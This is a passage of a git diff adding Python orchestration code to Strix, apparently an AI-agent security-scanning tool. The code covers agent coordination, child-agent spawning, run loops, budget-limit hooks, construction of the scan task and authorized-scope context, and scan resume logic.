self._lock: + for aid in reversed(self._subtree_order_locked(agent_id)): + task = self.runtimes.get(aid, AgentRuntime()).task + if task is not None and not task.done(): + tasks.append(task) + for task in tasks: + task.cancel() + if tasks: + await asyncio.gather(*tasks, return_exceptions=True) + + async def cancel_descendants_graceful(self, agent_id: str) -> None: + async with self._lock: + order = self._subtree_order_locked(agent_id) + for aid in reversed(order): + await self.request_stop(aid) + await self._maybe_snapshot() + + async def attach_stream( + self, + agent_id: str, + stream: Any, + ) -> None: + async with self._lock: + self.runtimes.setdefault(agent_id, AgentRuntime()).stream = stream + + async def detach_stream( + self, + agent_id: str, + stream: Any, + ) -> None: + async with self._lock: + runtime = self.runtimes.setdefault(agent_id, AgentRuntime()) + if runtime.stream is stream: + runtime.stream = None + + async def active_agents_except(self, agent_id: str) -> list[dict[str, Any]]: + async with self._lock: + return [ + { + "agent_id": aid, + "name": self.names.get(aid, aid), + "status": status, + "parent_id": self.parent_of.get(aid), + } + for aid, status in self.statuses.items() + if aid != agent_id and status in {"running", "waiting"} + ] + + async def graph_snapshot( + self, + ) -> tuple[dict[str, str | None], dict[str, Status], dict[str, str]]: + async with self._lock: + return dict(self.parent_of), dict(self.statuses), dict(self.names) + + def _message_to_session_item(self, message: dict[str, Any]) -> TResponseInputItem: + sender = str(message.get("from", "unknown")) + content = str(message.get("content", "")) + if sender == "user": + return cast("TResponseInputItem", {"role": "user", "content": content}) + sender_name = self.names.get(sender, sender) + msg_type = message.get("type", "information") + priority = message.get("priority", "normal") + return cast( + "TResponseInputItem", + { + "role": "user", + "content": ( + f"[Message from {sender_name} ({sender}) | type={msg_type} " + f"| priority={priority}]\n{content}" + ), + }, + ) + + def _subtree_order_locked(self, agent_id: str) -> list[str]: + queue = [agent_id] + order: list[str] = [] + while queue: + aid = queue.pop() + order.append(aid) + queue.extend(child for child, parent in self.parent_of.items() if parent == aid) + return order + + async def snapshot(self) -> dict[str, Any]: + async with self._lock: + return { + "statuses": dict(self.statuses), + "parent_of": dict(self.parent_of), + "names": dict(self.names), + "metadata": {aid: dict(md) for aid, md in self.metadata.items()}, + "pending_counts": dict(self.pending_counts), + } + + async def restore(self, snap: dict[str, Any]) -> None: + async with self._lock: + self.statuses = dict(snap.get("statuses", {})) + self.parent_of = dict(snap.get("parent_of", {})) + self.names = dict(snap.get("names", {})) + self.metadata = {aid: dict(md) for aid, md in snap.get("metadata", {}).items()} + self.pending_counts = dict(snap.get("pending_counts", {})) + for aid in self.statuses: + self.runtimes.setdefault(aid, AgentRuntime()) + + async def _maybe_snapshot(self) -> None: + path = self._snapshot_path + if path is None: + return + try: + data = await self.snapshot() + payload = json.dumps(data, ensure_ascii=False, default=str) + path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + mode="w", + encoding="utf-8", + dir=str(path.parent), + prefix=f".{path.name}.", + suffix=".tmp", + delete=False, + ) as tmp: + tmp.write(payload) + tmp_path = Path(tmp.name) + tmp_path.replace(path) + except Exception: + logger.exception("coordinator snapshot to %s failed", path) + + +def coordinator_from_context(ctx: dict[str, Any]) -> AgentCoordinator | None: + coordinator = ctx.get("coordinator") + return coordinator if isinstance(coordinator, AgentCoordinator) else None diff --git a/strix/core/execution.py b/strix/core/execution.py new file mode 100644 index 000000000..06dc3ddf5 --- /dev/null +++ b/strix/core/execution.py @@ -0,0 +1,575 @@ +"""Execution loop for addressable SDK-backed Strix agents.""" + +from __future__ import annotations + +import asyncio +import contextlib +import logging +import uuid +from collections.abc import Callable +from typing import TYPE_CHECKING, Any, cast + +from agents import RunConfig, Runner +from agents.exceptions import AgentsException, MaxTurnsExceeded, UserError +from agents.sandbox.errors import ExecTransportError +from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore] +from openai import APIError + +from strix.core.hooks import BudgetExceededError +from strix.core.inputs import child_initial_input +from strix.core.sessions import open_agent_session, strip_all_images_from_session + + +if TYPE_CHECKING: + from pathlib import Path + + from agents.items import TResponseInputItem + from agents.lifecycle import RunHooks + from agents.memory import Session, SQLiteSession + from agents.result import RunResultBase + + from strix.core.agents import AgentCoordinator, Status + + +logger = logging.getLogger(__name__) + +StreamEventSink = Callable[[str, Any], None] + +_INPUT_REJECTION_CODES = frozenset({400, 404, 422}) + + +async def run_agent_loop( + *, + agent: Any, + initial_input: Any, + run_config: RunConfig, + context: dict[str, Any], + max_turns: int, + coordinator: AgentCoordinator, + agent_id: str, + interactive: bool, + session: Session | None = None, + start_parked: bool = False, + event_sink: StreamEventSink | None = None, + hooks: RunHooks[dict[str, Any]] | None = None, +) -> RunResultBase | None: + await coordinator.attach_runtime( + agent_id, + session=session, + interrupt_on_message=interactive, + ) + result: RunResultBase | None = None + + if not (start_parked and interactive): + if interactive: + result = await _run_cycle( + agent, + coordinator, + agent_id, + input_data=initial_input, + run_config=run_config, + context=context, + max_turns=max_turns, + session=session, + interactive=interactive, + event_sink=event_sink, + hooks=hooks, + ) + else: + result = await _run_noninteractive_until_lifecycle( + agent, + coordinator, + agent_id, + initial_input=initial_input, + run_config=run_config, + context=context, + max_turns=max_turns, + session=session, + event_sink=event_sink, + hooks=hooks, + ) + + if not interactive: + return result + + while True: + try: + await coordinator.wait_for_message(agent_id) + except asyncio.CancelledError: + return result + + if coordinator.budget_stopped: + await coordinator.set_status(agent_id, "stopped") + raise BudgetExceededError("scan budget reached") + + await coordinator.consume_pending(agent_id) + result = await _run_cycle( + agent, + coordinator, + agent_id, + input_data=[], + run_config=run_config, + context=context, + max_turns=max_turns, + session=session, + interactive=interactive, + event_sink=event_sink, + hooks=hooks, + ) + + +async def spawn_child_agent( + *, + coordinator: AgentCoordinator, + factory: Any, + agents_db_path: Path, + sessions_to_close: list[SQLiteSession], + run_config: RunConfig, + max_turns: int, + interactive: bool, + parent_ctx: dict[str, Any], + name: str, + task: str, + skills: list[str], + parent_history: list[Any], + event_sink: StreamEventSink | None = None, + hooks: RunHooks[dict[str, Any]] | None = None, +) -> dict[str, Any]: + parent_id = parent_ctx.get("agent_id") + if not isinstance(parent_id, str): + raise TypeError("Parent agent_id missing from context") + + child_id = uuid.uuid4().hex[:8] + child_agent = factory(name=name, skills=skills) + await coordinator.register( + child_id, + name, + parent_id, + task=task, + skills=skills, + ) + + await _start_child_runner( + parent_ctx=parent_ctx, + coordinator=coordinator, + agents_db_path=agents_db_path, + sessions_to_close=sessions_to_close, + run_config=run_config, + max_turns=max_turns, + interactive=interactive, + child_agent=child_agent, + child_id=child_id, + name=name, + parent_id=parent_id, + task=task, + initial_input=child_initial_input( + name=name, + child_id=child_id, + parent_id=parent_id, + task=task, + parent_history=parent_history, + ), + event_sink=event_sink, + hooks=hooks, + ) + + return { + "success": True, + "agent_id": child_id, + "name": name, + "parent_id": parent_id, + "message": f"Spawned '{name}' ({child_id}) running in parallel.", + } + + +async def respawn_subagents( + *, + coordinator: AgentCoordinator, + factory: Any, + agents_db_path: Path, + sessions_to_close: list[SQLiteSession], + run_config: RunConfig, + max_turns: int, + interactive: bool, + parent_ctx: dict[str, Any], + root_id: str, + event_sink: StreamEventSink | None = None, + hooks: RunHooks[dict[str, Any]] | None = None, +) -> None: + async with coordinator._lock: + agents_snapshot = [ + (aid, status, dict(coordinator.metadata.get(aid, {}))) + for aid, status in coordinator.statuses.items() + ] + candidates: list[tuple[str, str, str | None, dict[str, Any]]] = [] + for aid, status, md in agents_snapshot: + if not interactive and status not in {"running", "waiting"}: + continue + if coordinator.parent_of.get(aid) is None or aid == root_id: + continue + md["_restored_status"] = status + candidates.append( + ( + aid, + coordinator.names.get(aid, aid), + coordinator.parent_of.get(aid), + md, + ) + ) + + for child_id, name, parent_id, md in candidates: + try: + restored_status = str(md.get("_restored_status") or "running") + start_parked = interactive and restored_status != "running" + + if start_parked: + logger.warning( + "respawn %s (%s): starting parked from status=%s", + child_id, + name, + restored_status, + ) + + child_skills = list(md.get("skills") or []) + child_agent = factory(name=name, skills=child_skills) + await _start_child_runner( + parent_ctx=parent_ctx, + coordinator=coordinator, + agents_db_path=agents_db_path, + sessions_to_close=sessions_to_close, + run_config=run_config, + max_turns=max_turns, + interactive=interactive, + child_agent=child_agent, + child_id=child_id, + name=name, + parent_id=parent_id, + task=str(md.get("task", "")), + initial_input=[], + start_parked=start_parked, + event_sink=event_sink, + hooks=hooks, + ) + logger.info( + "respawned %s (%s) parent=%s task_len=%d", + child_id, + name, + parent_id or "-", + len(md.get("task", "")), + ) + except Exception: + logger.exception("respawn %s failed; marking crashed", child_id) + with contextlib.suppress(Exception): + await coordinator.set_status(child_id, "crashed") + + +async def _run_noninteractive_until_lifecycle( + agent: Any, + coordinator: AgentCoordinator, + agent_id: str, + *, + initial_input: Any, + run_config: RunConfig, + context: dict[str, Any], + max_turns: int, + session: Session | None, + event_sink: StreamEventSink | None, + hooks: RunHooks[dict[str, Any]] | None, +) -> RunResultBase | None: + """Non-chat mode keeps running until finish_scan / agent_finish settles status.""" + result: RunResultBase | None = None + input_data: Any = initial_input + invalid_final_outputs = 0 + invalid_final_output_limit = max(1, max_turns) + + while True: + if coordinator.budget_stopped: + await coordinator.set_status(agent_id, "stopped") + raise BudgetExceededError("scan budget reached") + + result = await _run_cycle( + agent, + coordinator, + agent_id, + input_data=input_data, + run_config=run_config, + context=context, + max_turns=max_turns, + session=session, + interactive=False, + event_sink=event_sink, + hooks=hooks, + ) + + status = await _agent_status(coordinator, agent_id) + if status != "running": + return result + + invalid_final_outputs += 1 + logger.warning( + "agent %s produced non-lifecycle final output in non-interactive mode; " + "forcing tool continuation (%d/%d): %s", + agent_id, + invalid_final_outputs, + invalid_final_output_limit, + _final_output_preview(result), + ) + + if invalid_final_outputs >= invalid_final_output_limit: + await coordinator.set_status(agent_id, "crashed") + await _notify_parent_on_crash(coordinator, agent_id, "crashed") + raise MaxTurnsExceeded( + "Agent exhausted non-interactive recovery attempts without calling " + "finish_scan or agent_finish." + ) + + input_data = await _append_noninteractive_tool_required_message( + session=session, + context=context, + attempt=invalid_final_outputs, + limit=invalid_final_output_limit, + ) + + +async def _run_cycle( # noqa: PLR0912, PLR0915 + agent: Any, + coordinator: AgentCoordinator, + agent_id: str, + *, + input_data: Any, + run_config: RunConfig, + context: dict[str, Any], + max_turns: int, + session: Session | None, + interactive: bool, + event_sink: StreamEventSink | None, + hooks: RunHooks[dict[str, Any]] | None, +) -> RunResultBase | None: + image_strips = 0 + while True: + try: + await coordinator.mark_running(agent_id) + stream = Runner.run_streamed( + agent, + input=input_data, + run_config=run_config, + context=context, + max_turns=max_turns, + session=session, + hooks=hooks, + ) + await coordinator.attach_stream(agent_id, stream) + try: + try: + async for event in stream.stream_events(): + if event_sink is not None: + try: + event_sink(agent_id, event) + except Exception: + logger.exception("stream event sink failed for %s", agent_id) + if stream.run_loop_exception is not None: + raise stream.run_loop_exception + except BudgetExceededError: + # A RuntimeError subclass: re-raise explicitly so it is never + # mistaken for the LiteLLM "after shutdown" race below. + raise + except RuntimeError as stream_exc: + if "after shutdown" not in str(stream_exc): + raise + logger.warning( + "Ignoring LiteLLM end-of-stream shutdown race for %s", + agent_id, + ) + except (ExecTransportError, docker_errors.NotFound): + if not coordinator.is_shutting_down: + raise + logger.warning( + "Ignoring sandbox container error during teardown for %s", + agent_id, + exc_info=True, + ) + finally: + await coordinator.detach_stream(agent_id, stream) + except BudgetExceededError as exc: + logger.info( + "agent %s reached the scan budget limit; stopping the scan: %s", agent_id, exc + ) + await coordinator.set_status(agent_id, "stopped") + await coordinator.trigger_budget_stop() + raise + except Exception as exc: + if ( + image_strips < 3 + and session is not None + and getattr(exc, "status_code", None) in _INPUT_REJECTION_CODES + ): + try: + stripped = await strip_all_images_from_session(session) + except Exception: + logger.exception("image-strip recovery failed for %s", agent_id) + stripped = False + if stripped: + image_strips += 1 + logger.info( + "Stripped images from %s session after rejection; retrying (%d)", + agent_id, + image_strips, + ) + input_data = [] + continue + if not interactive: + raise + if isinstance(exc, MaxTurnsExceeded): + status: Status = "stopped" + elif isinstance(exc, UserError | AgentsException | APIError): + status = "failed" + else: + status = "crashed" + logger.exception("agent run failed for %s; parking as %s", agent_id, status) + await coordinator.set_status(agent_id, status) + await _notify_parent_on_crash(coordinator, agent_id, status) + if context.get("parent_id") is None and status in {"failed", "crashed"}: + raise + return None + else: + await _settle_run_result(coordinator, agent_id, interactive) + return stream + + +async def _settle_run_result( + coordinator: AgentCoordinator, + agent_id: str, + interactive: bool, +) -> None: + async with coordinator._lock: + current_status = coordinator.statuses.get(agent_id) + + if current_status != "running": + return + + if not interactive: + return + + await coordinator.set_status(agent_id, "waiting") + + +async def _agent_status(coordinator: AgentCoordinator, agent_id: str) -> Status | None: + async with coordinator._lock: + return coordinator.statuses.get(agent_id) + + +def _final_output_preview(result: RunResultBase | None) -> str: + final_output = getattr(result, "final_output", None) + if final_output is None: + return "" + text = str(final_output).replace("\n", " ").strip() + if not text: + return "" + return text[:300] + + +async def _append_noninteractive_tool_required_message( + *, + session: Session | None, + context: dict[str, Any], + attempt: int, + limit: int, +) -> list[dict[str, str]]: + finish_tool = "finish_scan" if context.get("parent_id") is None else "agent_finish" + message = ( + "Your previous response ended the autonomous Strix run without a lifecycle tool call. " + "That is invalid in non-interactive mode; plain text final answers are ignored. " + "Continue immediately and call exactly one tool. " + f"If your work is complete, call {finish_tool}. " + "If you are blocked waiting for another agent, call wait_for_message. " + "Otherwise use the appropriate execution or planning tool. " + f"This is recovery attempt {attempt}/{limit}." + ) + item = {"role": "user", "content": message} + if session is None: + return [item] + + await session.add_items([cast("TResponseInputItem", item)]) + return [] + + +async def _notify_parent_on_crash( + coordinator: AgentCoordinator, + agent_id: str, + status: str, +) -> None: + if status != "crashed": + return + async with coordinator._lock: + parent = coordinator.parent_of.get(agent_id) + name = coordinator.names.get(agent_id, agent_id) + if parent is None: + return + await coordinator.send( + parent, + { + "from": agent_id, + "type": "crash", + "priority": "high", + "content": ( + f"[Agent crash] {name} ({agent_id}) terminated unexpectedly. " + "Stop waiting on this child unless you want to message it again." + ), + }, + ) + + +async def _start_child_runner( + *, + parent_ctx: dict[str, Any], + coordinator: AgentCoordinator, + agents_db_path: Path, + sessions_to_close: list[SQLiteSession], + run_config: RunConfig, + max_turns: int, + interactive: bool, + child_agent: Any, + child_id: str, + name: str, + parent_id: str | None, + task: str, + initial_input: Any, + start_parked: bool = False, + event_sink: StreamEventSink | None = None, + hooks: RunHooks[dict[str, Any]] | None = None, +) -> None: + session = open_agent_session(child_id, agents_db_path) + sessions_to_close.append(session) + await coordinator.attach_runtime(child_id, session=session) + + child_ctx: dict[str, Any] = dict(parent_ctx) + child_ctx["agent_id"] = child_id + child_ctx["parent_id"] = parent_id + child_ctx["task"] = task + + async def _child_loop() -> None: + # A budget stop is a clean scan-wide shutdown, not a child failure: the + # child's status and parent notification are already settled in + # ``_run_cycle``. Swallow it here so the detached task does not surface a + # spurious "Task exception was never retrieved" warning. The root agent + # hits the same limit on its next call and tears the scan down. + try: + await run_agent_loop( + agent=child_agent, + initial_input=initial_input, + run_config=run_config, + context=child_ctx, + max_turns=max_turns, + coordinator=coordinator, + agent_id=child_id, + interactive=interactive, + session=session, + start_parked=start_parked, + event_sink=event_sink, + hooks=hooks, + ) + except BudgetExceededError: + logger.info("child %s stopped after reaching the scan budget limit", child_id) + + task_handle = asyncio.create_task(_child_loop(), name=f"agent-{name}-{child_id}") + await coordinator.attach_runtime(child_id, task=task_handle) diff --git a/strix/core/hooks.py b/strix/core/hooks.py new file mode 100644 index 000000000..6b0d59241 --- /dev/null +++ b/strix/core/hooks.py @@ -0,0 +1,69 @@ +"""SDK run hooks used by Strix orchestration.""" + +from __future__ import annotations + +import logging +from typing import TYPE_CHECKING, Any + +from agents.lifecycle import RunHooks + +from strix.report.state import get_global_report_state + + +if TYPE_CHECKING: + from agents import RunContextWrapper + from agents.agent import Agent + from agents.items import ModelResponse + + +logger = logging.getLogger(__name__) + + +class BudgetExceededError(RuntimeError): + """Raised when the accumulated LLM cost reaches the configured budget.""" + + +class ReportUsageHooks(RunHooks[dict[str, Any]]): + """Persist SDK-native usage after every model response.""" + + def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None: + import math + if max_budget_usd is not None and (not math.isfinite(max_budget_usd) or max_budget_usd <= 0): + raise ValueError("max_budget_usd must be a finite number greater than 0") + self._model = model + self._max_budget_usd = max_budget_usd + + async def on_llm_end( + self, + context: RunContextWrapper[dict[str, Any]], + agent: Agent[dict[str, Any]], + response: ModelResponse, + ) -> None: + report_state = get_global_report_state() + if report_state is None: + return + + ctx = context.context if isinstance(context.context, dict) else {} + agent_name = getattr(agent, "name", None) + if not isinstance(agent_name, str): + agent_name = None + agent_id = ctx.get("agent_id") + if not isinstance(agent_id, str) or not agent_id: + agent_id = agent_name or "unknown" + + try: + report_state.record_sdk_usage( + agent_id=agent_id, + agent_name=agent_name, + model=self._model, + usage=response.usage, + ) + except Exception: + logger.exception("failed to record SDK usage for agent %s", agent_id) + + if self._max_budget_usd is not None: + cost = report_state.get_total_llm_cost() + if cost >= self._max_budget_usd: + raise BudgetExceededError( + f"Token budget of ${self._max_budget_usd:.2f} exceeded (spent ${cost:.4f})" + ) diff --git a/strix/core/inputs.py b/strix/core/inputs.py new file mode 100644 index 000000000..2bcc077d7 --- /dev/null +++ b/strix/core/inputs.py @@ -0,0 +1,162 @@ +"""Pure input builders for Strix scan runs.""" + +from __future__ import annotations + +import json +from typing import TYPE_CHECKING, Any + +from agents.model_settings import ModelSettings +from openai.types.shared import Reasoning + +from strix.config.models import DEFAULT_MODEL_RETRY, model_supports_reasoning + + +if TYPE_CHECKING: + from strix.config.settings import ReasoningEffort + + +DEFAULT_MAX_TURNS = 500 + + +def build_root_task(scan_config: dict[str, Any]) -> str: + targets = scan_config.get("targets", []) or [] + diff_scope = scan_config.get("diff_scope") or {} + user_instructions = scan_config.get("user_instructions", "") or "" + + sections: dict[str, list[str]] = { + "Repositories": [], + "Local Codebases": [], + "URLs": [], + "IP Addresses": [], + } + + for target in targets: + ttype = target.get("type") + details = target.get("details") or {} + workspace_subdir = details.get("workspace_subdir") + workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "/workspace" + + if ttype == "repository": + url = details.get("target_repo", "") + cloned = details.get("cloned_repo_path") + sections["Repositories"].append( + f"- {url} (available at: {workspace_path})" if cloned else f"- {url}", + ) + elif ttype == "local_code": + path = details.get("target_path", "unknown") + suffix = ", read-only mount" if details.get("mount") else "" + sections["Local Codebases"].append(f"- {path} (available at: {workspace_path}{suffix})") + elif ttype == "web_application": + sections["URLs"].append(f"- {details.get('target_url', '')}") + elif ttype == "ip_address": + sections["IP Addresses"].append(f"- {details.get('target_ip', '')}") + + parts: list[str] = [] + for label, items in sections.items(): + if items: + parts.append(f"\n\n{label}:") + parts.extend(items) + + if diff_scope.get("active"): + parts.append("\n\nScope Constraints:") + parts.append( + "- Pull request diff-scope mode is active. Prioritize changed files " + "and use other files only for context.", + ) + for repo_scope in diff_scope.get("repos", []) or []: + label = ( + repo_scope.get("workspace_subdir") or repo_scope.get("source_path") or "repository" + ) + changed = repo_scope.get("analyzable_files_count", 0) + deleted = repo_scope.get("deleted_files_count", 0) + parts.append(f"- {label}: {changed} changed file(s) in primary scope") + if deleted: + parts.append(f"- {label}: {deleted} deleted file(s) are context-only") + + task = " ".join(parts) + if user_instructions: + task = f"{task}\n\nSpecial instructions: {user_instructions}" + return task + + +def build_scope_context(scan_config: dict[str, Any]) -> dict[str, Any]: + authorized: list[dict[str, str]] = [] + value_keys = { + "repository": "target_repo", + "local_code": "target_path", + "web_application": "target_url", + "ip_address": "target_ip", + } + for target in scan_config.get("targets", []) or []: + ttype = target.get("type", "unknown") + details = target.get("details") or {} + key = value_keys.get(ttype) + value = details.get(key, "") if key is not None else target.get("original", "") + + workspace_subdir = details.get("workspace_subdir") + workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "" + authorized.append( + {"type": ttype, "value": value, "workspace_path": workspace_path}, + ) + + return { + "scope_source": "system_scan_config", + "authorization_source": "strix_platform_verified_targets", + "authorized_targets": authorized, + "user_instructions_do_not_expand_scope": True, + } + + +def make_model_settings( + reasoning_effort: ReasoningEffort | None, + *, + model_name: str, +) -> ModelSettings: + model_settings = ModelSettings( + parallel_tool_calls=False, + retry=DEFAULT_MODEL_RETRY, + include_usage=True, + ) + if ( + reasoning_effort is not None + and reasoning_effort != "none" + and model_supports_reasoning(model_name) + ): + model_settings = model_settings.resolve( + ModelSettings(reasoning=Reasoning(effort=reasoning_effort)), + ) + return model_settings + + +def child_initial_input( + *, + name: str, + child_id: str, + parent_id: str, + task: str, + parent_history: list[Any], +) -> list[dict[str, Any]]: + """Build the initial input for a child agent as a single user message. + + Collapsing the inherited-context block, the identity line, and the task into + one ``{"role": "user"}`` message keeps providers that require strictly + alternating roles (e.g. Perplexity, llama.cpp) from rejecting consecutive + user messages. + """ + parts: list[str] = [] + if parent_history: + rendered = json.dumps(parent_history, ensure_ascii=False, default=str) + parts.append( + "== Inherited context from parent (background only) ==\n" + f"{rendered}\n" + "== End of inherited context ==\n" + "Use the above as background only; do not continue the " + "parent's work. Your task follows.", + ) + parts.append( + f"You are agent {name} ({child_id}); your parent is {parent_id}. " + "Maintain your own identity. Call agent_finish when your task " + "is complete.", + ) + parts.append(task) + return [{"role": "user", "content": "\n\n".join(parts)}] diff --git a/strix/core/paths.py b/strix/core/paths.py new file mode 100644 index 000000000..c8e21b73f --- /dev/null +++ b/strix/core/paths.py @@ -0,0 +1,23 @@ +"""Run directory path helpers.""" + +from __future__ import annotations + +from pathlib import Path + + +RUNS_DIR_NAME = "strix_runs" +RUNTIME_STATE_DIR_NAME = ".state" +RUN_RECORD_FILENAME = "run.json" + + +def run_dir_for(run_name: str, *, cwd: Path | None = None) -> Path: + base = cwd or Path.cwd() + return base / RUNS_DIR_NAME / run_name + + +def runtime_state_dir(run_dir: Path) -> Path: + return run_dir / RUNTIME_STATE_DIR_NAME + + +def run_record_path(run_dir: Path) -> Path: + return run_dir / RUN_RECORD_FILENAME diff --git a/strix/core/runner.py b/strix/core/runner.py new file mode 100644 index 000000000..90becf870 --- /dev/null +++ b/strix/core/runner.py @@ -0,0 +1,342 @@ +"""Top-level Strix scan runner.""" + +from __future__ import annotations + +import contextlib +import json +import logging +import uuid +from collections.abc import Callable +from typing import TYPE_CHECKING, Any + +from agents import RunConfig +from agents.sandbox import SandboxRunConfig +from openai import RateLimitError + +from strix.agents.factory import build_strix_agent, make_child_factory +from strix.config import load_settings +from strix.config.models import ( + StrixProvider, + configure_sdk_model_defaults, + uses_chat_completions_tool_schema, +) +from strix.core.agents import AgentCoordinator +from strix.core.execution import ( + respawn_subagents, + run_agent_loop, +) +from strix.core.execution import ( + spawn_child_agent as start_child_agent, +) +from strix.core.hooks import BudgetExceededError, ReportUsageHooks +from strix.core.inputs import ( + DEFAULT_MAX_TURNS, + build_root_task, + build_scope_context, + make_model_settings, +) +from strix.core.paths import run_dir_for, runtime_state_dir +from strix.core.sessions import open_agent_session +from strix.runtime import session_manager +from strix.telemetry.logging import set_scan_id, setup_scan_logging + + +if TYPE_CHECKING: + from agents.memory import SQLiteSession + from agents.result import RunResultBase + + +logger = logging.getLogger(__name__) + +StreamEventSink = Callable[[str, Any], None] + + +async def run_strix_scan( + *, + scan_config: dict[str, Any], + scan_id: str | None = None, + image: str, + local_sources: list[dict[str, Any]] | None = None, + coordinator: AgentCoordinator | None = None, + interactive: bool = False, + max_turns: int = DEFAULT_MAX_TURNS, + max_budget_usd: float | None = None, + model: str | None = None, + cleanup_on_exit: bool = True, + event_sink: StreamEventSink | None = None, +) -> RunResultBase | None: + """Run or resume one Strix scan against a sandbox.""" + if scan_id is None: + scan_id = f"scan-{uuid.uuid4().hex[:8]}" + + run_dir = run_dir_for(scan_id) + run_dir.mkdir(parents=True, exist_ok=True) + state_dir = runtime_state_dir(run_dir) + state_dir.mkdir(parents=True, exist_ok=True) + teardown_logging = setup_scan_logging(run_dir) + set_scan_id(scan_id) + + agents_path = state_dir / "agents.json" + agents_db = state_dir / "agents.db" + is_resume = agents_path.exists() + + logger.info( + "%s Strix scan %s (image=%s, max_turns=%d, interactive=%s, run_dir=%s)", + "Resuming" if is_resume else "Starting", + scan_id, + image, + max_turns, + interactive, + run_dir, + ) + + settings = load_settings() + configure_sdk_model_defaults(settings) + resolved_model = (model or settings.llm.model or "").strip() + if not resolved_model: + raise RuntimeError( + "No LLM model configured. Set STRIX_LLM env or pass model= to run_strix_scan().", + ) + logger.info("LLM model resolved: %s", resolved_model) + chat_completions_tools = uses_chat_completions_tool_schema(resolved_model, settings) + + if coordinator is None: + coordinator = AgentCoordinator() + coordinator.set_snapshot_path(agents_path) + + from strix.tools.notes.tools import hydrate_notes_from_disk + from strix.tools.todo.tools import hydrate_todos_from_disk + + hydrate_todos_from_disk(state_dir) + hydrate_notes_from_disk(state_dir) + + root_id: str | None = None + if is_resume: + try: + snap = json.loads(agents_path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError) as exc: + raise RuntimeError( + f"Cannot resume scan {scan_id}: agents.json is unreadable: {exc}", + ) from exc + if not agents_db.exists(): + raise RuntimeError( + f"Cannot resume scan {scan_id}: missing SDK session database at {agents_db}", + ) + await coordinator.restore(snap) + for aid, parent in coordinator.parent_of.items(): + if parent is None: + root_id = aid + break + if root_id is None: + raise RuntimeError( + f"Cannot resume scan {scan_id}: agents.json has no root agent (parent=None)", + ) + logger.info( + "Resume: restored coordinator with %d agent(s); root=%s", + len(coordinator.statuses), + root_id, + ) + else: + root_id = uuid.uuid4().hex[:8] + + logger.info("Bringing up sandbox session for scan %s", scan_id) + bundle = await session_manager.create_or_reuse( + scan_id, + image=image, + local_sources=local_sources or [], + ) + logger.info("Sandbox ready for scan %s", scan_id) + + sessions_to_close: list[SQLiteSession] = [] + + try: + targets = scan_config.get("targets") or [] + scan_mode = str(scan_config.get("scan_mode") or "deep") + is_whitebox = any(t.get("type") == "local_code" for t in targets) + skills = list(scan_config.get("skills") or []) + root_task = build_root_task(scan_config) + model_settings = make_model_settings( + settings.llm.reasoning_effort, + model_name=resolved_model, + ) + run_config = RunConfig( + model=resolved_model, + model_provider=StrixProvider(), + model_settings=model_settings, + sandbox=SandboxRunConfig(client=bundle["client"], session=bundle["session"]), + trace_include_sensitive_data=False, + ) + hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd) + + scope_context = build_scope_context(scan_config) + + root_agent = build_strix_agent( + name="strix", + skills=skills, + is_root=True, + scan_mode=scan_mode, + is_whitebox=is_whitebox, + interactive=interactive, + chat_completions_tools=chat_completions_tools, + system_prompt_context=scope_context, + ) + + if not is_resume: + await coordinator.register( + root_id, + "strix", + parent_id=None, + task=root_task, + skills=skills, + ) + + child_agent_builder = make_child_factory( + scan_mode=scan_mode, + is_whitebox=is_whitebox, + interactive=interactive, + chat_completions_tools=chat_completions_tools, + system_prompt_context=scope_context, + ) + + async def spawn_child_agent(**kwargs: Any) -> dict[str, Any]: + return await start_child_agent( + coordinator=coordinator, + factory=child_agent_builder, + agents_db_path=agents_db, + sessions_to_close=sessions_to_close, + run_config=run_config, + max_turns=max_turns, + interactive=interactive, + event_sink=event_sink, + hooks=hooks, + **kwargs, + ) + + context: dict[str, Any] = { + "coordinator": coordinator, + "sandbox_session": bundle["session"], + "caido_client": bundle["caido_client"], + "agent_id": root_id, + "parent_id": None, + "interactive": interactive, + "spawn_child_agent": spawn_child_agent, + } + + root_session = open_agent_session(root_id, agents_db) + sessions_to_close.append(root_session) + await coordinator.attach_runtime(root_id, session=root_session) + + if is_resume: + await respawn_subagents( + coordinator=coordinator, + factory=child_agent_builder, + agents_db_path=agents_db, + sessions_to_close=sessions_to_close, + run_config=run_config, + max_turns=max_turns, + interactive=interactive, + parent_ctx=context, + root_id=root_id, + event_sink=event_sink, + hooks=hooks, + ) + + initial_input: Any = [] if is_resume else root_task + + # Resume + new ``--instruction``: SDK replay drives root from + # agents.db with ``initial_input=[]``, so a brand-new instruction + # passed on the resume CLI would otherwise be silently ignored. + # Inject it as a fresh user message in root's SDK session; the + # next run cycle will replay it with the rest of the session. + resume_instruction = str(scan_config.get("resume_instruction") or "").strip() + if is_resume and resume_instruction: + await coordinator.send( + root_id, + { + "from": "user", + "type": "instruction", + "priority": "high", + "content": resume_instruction, + }, + ) + logger.info( + "Resume: injected new instruction into root SDK session (len=%d)", + len(resume_instruction), + ) + + async with coordinator._lock: + root_status = coordinator.statuses.get(root_id) + + result = await run_agent_loop( + agent=root_agent, + initial_input=initial_input, + run_config=run_config, + context=context, + max_turns=max_turns, + coordinator=coordinator, + agent_id=root_id, + interactive=interactive, + session=root_session, + start_parked=bool(interactive and is_resume and root_status != "running"), + event_sink=event_sink, + hooks=hooks, + ) + if not interactive and result is not None: + final = getattr(result, "final_output", None) + scan_completed = False + if isinstance(final, str): + try: + parsed = json.loads(final) + scan_completed = bool(isinstance(parsed, dict) and parsed.get("scan_completed")) + except (ValueError, TypeError): + scan_completed = False + elif isinstance(final, dict): + scan_completed = bool(final.get("scan_completed")) + if not scan_completed: + logger.error( + "Scan %s ended without calling finish_scan. The agent " + "emitted a text-only turn instead of a lifecycle tool call, " + "so no executive report was written. Final output (first " + "300 chars): %r", + scan_id, + str(final)[:300], + ) + return result # noqa: TRY300 + except BudgetExceededError as exc: + logger.info("Scan %s stopped: %s", scan_id, exc) + if root_id is not None: + await coordinator.cancel_descendants(root_id) + with contextlib.suppress(Exception): + await coordinator.set_status(root_id, "stopped") + return None + except RateLimitError as exc: + logger.warning( + "Scan %s stopped: persistent rate limit from the LLM provider (%s). " + "Resume with 'strix --resume %s' once the limit clears.", + scan_id, + exc, + scan_id, + ) + 